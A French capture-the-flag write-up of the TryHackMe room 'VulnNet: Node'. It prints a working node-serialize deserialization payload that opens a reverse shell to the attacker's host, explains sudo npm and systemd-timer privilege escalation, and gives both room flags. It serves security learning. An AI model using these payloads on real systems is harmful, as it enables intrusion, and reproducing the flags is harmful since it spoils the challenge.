
After the previous breach, VulnNet Entertainment states it won’t happen again. Can you prove they’re wrong?
On part sur une room à 2 niveaux :
- Récupération du flag utilisateur
- Récupération du flag root
1- Reconnaissance
Je démarre, comme à mon habitude, par un scan Nmap pour voir ce qu’on peut trouver :

Explications sur la commande :
- -sS : On souhaite faire un TCP SYN (Stealth) scan (ou half open scan car on ne réalise pas l’intégralité du 3-way handshake TCP).
- -A : Aggressive scan options = active la détection d’OS (-O) , le scan de version (-sV), utilisation des scripts par défaut (-sC) et réalise un traceroute de la cible (–traceroute).
- -Pn : Considérer tous les hôtes comme étant connectés (saute l’étape de découverte des hôtes).
- -p- : Scan l’intégralité des ports possibles.
- -T4* : Choisit la « politique de temporisation » 4 (la plus rapide étant la 5, par défaut nmap utilise la valeur 3).
- -oA : Sortie dans les trois formats majeurs en même temps (normal, XML et grepable).
* Concernant la « politique de temporisation », je choisis volontairement une valeur élevée pour scanner plus rapidement, mais attention à 2 choses :
- Si votre connexion est mauvaise, il risque d’y avoir des retransmissions voire des échecs de communication, donc au final temps rallongé et résultat de scan bancal.
- En condition réelle de pentest plus le scan est « rapide » plus il va avoir de chance d’être vu avec des solutions IDS/IPS (Intrusion Detection/Prevention System) et des pics vont être immédiatement visibles sur un éventuel SIEM (Security Information and Event Management) donc privilégier un scan plus « lent ».
On observe que les ports suivants sont ouverts sur la machine cible :
- 22 : OpenSSH 8.2p1 (serveur SSH)
- 8080 : Node.js Express framework (serveur web)
2- Mapping
Je commence par visiter la page web hébergée par le serveur sur le port 8080 :

Pas grand chose à se mettre sous la dent, un bouton pointant vers une page /login/ à part ça rien ne me saute aux yeux, je lance en parallèle une énumération avec ffuf :

Je trouve 3 candidats : /img/, /css/ et /login/, je décide de passer à la page de login qui me plaît déjà plus rien qu’au nom.

La page ne donne rien non plus, et en regardant du côté du code source, on comprend pourquoi :

En effet, aucune action n’est associé au bouton « Let me in…« .
Les points d’accès /img/ et /css/ ne répondent pas à la méthode GET, je les mets de côté pour le moment.
J’ouvre alors mon panel développeur de Firefox afin de tenter de voir ce que je n’ai pas vu :

Un cookie « session », a priori encodé en base64, est généré lors de l’accès à la page d’accueil, je demande un coup de main à CyberChef :

Je remarque que le booléen isGuest est positionné à « true« , je tente alors de générer un nouveau cookie avec le champ à « false » :

De retour sur Firefox, je met à jour le cookie et rafraichit la page et j’obtiens … rien de nouveau.
J’ai également réalisé d’autres essais, entre autre en modifiant la valeur de username, mais le seul impact apparent est le nom d’utilisateur qui est modifié sur la page d’accueil, ce qui m’apprend que les données passées à l’application sont traités laissant entrevoir une exploitation peut-être ?
Je tente alors une énumération en prenant en compte le cookie modifié :

Pas mieux avec modification du cookie, je me pose alors pour prendre du recul.
Je tente cette fois de générer un cookie malformé volontairement.

Je supprime simplement l’accolade de fermeture pour voir comment le serveur va gérer ce cas en mettant à jour le cookie, puis en rafraichissant la page :

Bingo ! Une erreur liée à la fonction unserialize est affichée (ainsi que l’arborescence sur le serveur) je me lance dans des recherches.
Je consulte Chacha pour avoir son avis sur l’erreur obtenue.

Ca semble être une bonne piste, j’approfondi mes recherches et je tombe également sur un article de opscex.com justement expliquant comment exploiter la fonction unserialize afin d’obtenir une RCE :

L’article en question fait un lien vers un repo GitHub permettant de générer un reverse shell NodeJs.
On peut passer à la phase d’exploitation !
3- Exploitation
Je commence par générer un reverse shell avec l’utilitaire python fourni dans l’article :

J’insère le code généré dans le format donné par ChaCha :
{« rce »: »_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,49,51,49,46,50,48,50,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}() »}
Je génère ensuite le cookie de session avec CyberChef :

Je modifie de nouveau le cookie avec le résultat obtenu avec CyberChef, je lance un listener netcat sur ma machine, et je rafraichis la page et j’obtiens :

Petit tips que j’utilise régulièrement dans ce genre de cas où on travaille avec un shell « limité » : si python est installé sur la machine cible, réaliser l’appel à un shell bash via le module pty avec la commande suivante :
python -c ‘import pty; pty.spawn(« /bin/bash »)’
Ca y est nous avons un pied dans la machine ! Par contre après quelques recherches le flag utilisateur se trouve dans le répertoire d’un autre utilisateur.
Je commence par regarder si sudo me laisse exécuter une quelconque en tant qu’un autre utilisateur :

4- Elévation de privilèges #1
On a la possibilité d’exécuter la commande npm en tant que serv-manage (ça tombe bien c’est lui qui possède le flag utilisateur).
Reflexe immédiat : allez regarder sur GTFObins.org les possibilités offertes par ce binaire :

Je tente le coup, je me dirige dans le dossier /tmp/ et je crée tout d’abord un ersatz de fichier de package avec comme instruction de preinstall l’appel d’un shell, puis l’appel à la commande npm avec comme paramètres :
- -C : forme abrégée de –prefix, permet de choisir le dossier dans lequel on travail
- . : dossier courant, permet de spécifier que le fichier package.json pour l’installation se trouve dans le répertoire courant
- i : forme abrégée de install, permet de lancer l’installation d’un paquet npm

Même optimisation que tout à l’heure concernant le shell « amélioré » via python.
Ce mouvement m’a permis de récupérer le flag utilisateur :

Flag utilisateur :
THM{064640a2f880ce9ed7a54886f1bde821}
Je passe maintenant à la recherche (de l’ombre jaune ? non) du flag root !
5- Elévation de privilèges #2
Comme pour l’utilisateur précédent, je commence par regarder mes possibilités éventuelles d’exécution de commandes en tant que root :

Je vois que la chance (really ?) me sourit à nouveau, je peux exécuter tout ce qu’il faut pour démarrer / arrêter un timer (vulnnet-auto.timer) ainsi que la commande adéquat pour recharger le démon en cas de modification d’un service.
Je jette un œil au timer nommé :

Le timer est assez simple, il exécute le service vulnnet-job.service toutes les 30 minutes.
Ensuite le service en question est tout aussi simple, et exécute la commande /bin/df à chaque appel.
Je regarde les droits que je possède sur les fichiers pour savoir si je peux les altérer :

En tant que serv-manage, je peux lire et écrire ces 2 fichiers, une aubaine !

Voici le détails de mes actions :
- je commence par arrêter le timer (sudo /bin/systemctl stop vulnnet-auto.timer)
- ensuite je modifie le fichier du service afin de lui faire exécuter un reverse shell des bonnes familles
- puis je modifie le service de manière à s’exécuter toutes les 5 secondes (on n’est pas pressés mais quand même 30 minutes c’est long).
Après ces modifications, j’ai rechargé le démon (sudo /bin/systemctl daemon-reload), lancé un listener netcat dans un autre terminal, puis démarré à nouveau le timer (sudo /bin/systemctl start vulnnet-auto.timer).

Plus qu’à récupérer le flag root et c’en sera fini de cette machine :

Voici le flag root bien mérité :
THM{abea728f211b105a608a720a37adabf9}
Chaîne d’attaque

Retour d’expérience
Une room distrayante, un point de blocage au démarrage car même si j’avais vu le cookie dès le début, je n’y avais pas tout de suite prêté attention ce qui m’a valu de perdre pas mal de temps.
Le challenge est classifié easy, et en effet, une fois passé mon blocage je n’ai pas eu trop de mal à récolté les flags.
Petit bémol concernant la redondance de l’exploitation des autorisations sudo excessives, mais point positif sur le fait que la manière de procéder soit différente.
Conclusion
La room VulnNet: Node illustre parfaitement l’exploitation d’une vulnérabilité de désérialisation côté serveur dans un environnement Node.js, combinée à une mauvaise gestion des privilèges système.
L’attaque débute par une phase de reconnaissance classique (scan des services exposés), mais la véritable faille réside dans la gestion du cookie de session encodé en Base64. L’absence de validation robuste et l’utilisation vulnérable d’un mécanisme de désérialisation permettent une Remote Code Execution (RCE) via injection d’un payload malveillant. Cette étape démontre l’importance critique de ne jamais faire confiance aux données contrôlées par l’utilisateur, même lorsqu’elles sont encodées.
L’exploitation post-compromission met en évidence plusieurs mauvaises pratiques de sécurité :
- Attribution excessive de privilèges sudo (npm exécutable sans mot de passe)
- Mauvaise segmentation des rôles utilisateurs
- Droits d’écriture sur des fichiers systemd critiques
- Absence de contrôle d’intégrité des services automatisés
L’abus combiné de GTFOBins (npm) puis de la configuration systemd timer/service permet une escalade complète jusqu’à root, démontrant qu’un simple accès initial limité peut mener à une compromission totale du système si la configuration interne est faible.
Enseignements clés :
- Ne jamais désérialiser des données non fiables sans mécanisme sécurisé
- Appliquer le principe du moindre privilège strictement (sudoers)
- Restreindre l’accès en écriture aux fichiers systemd
- Auditer régulièrement les services automatisés et timers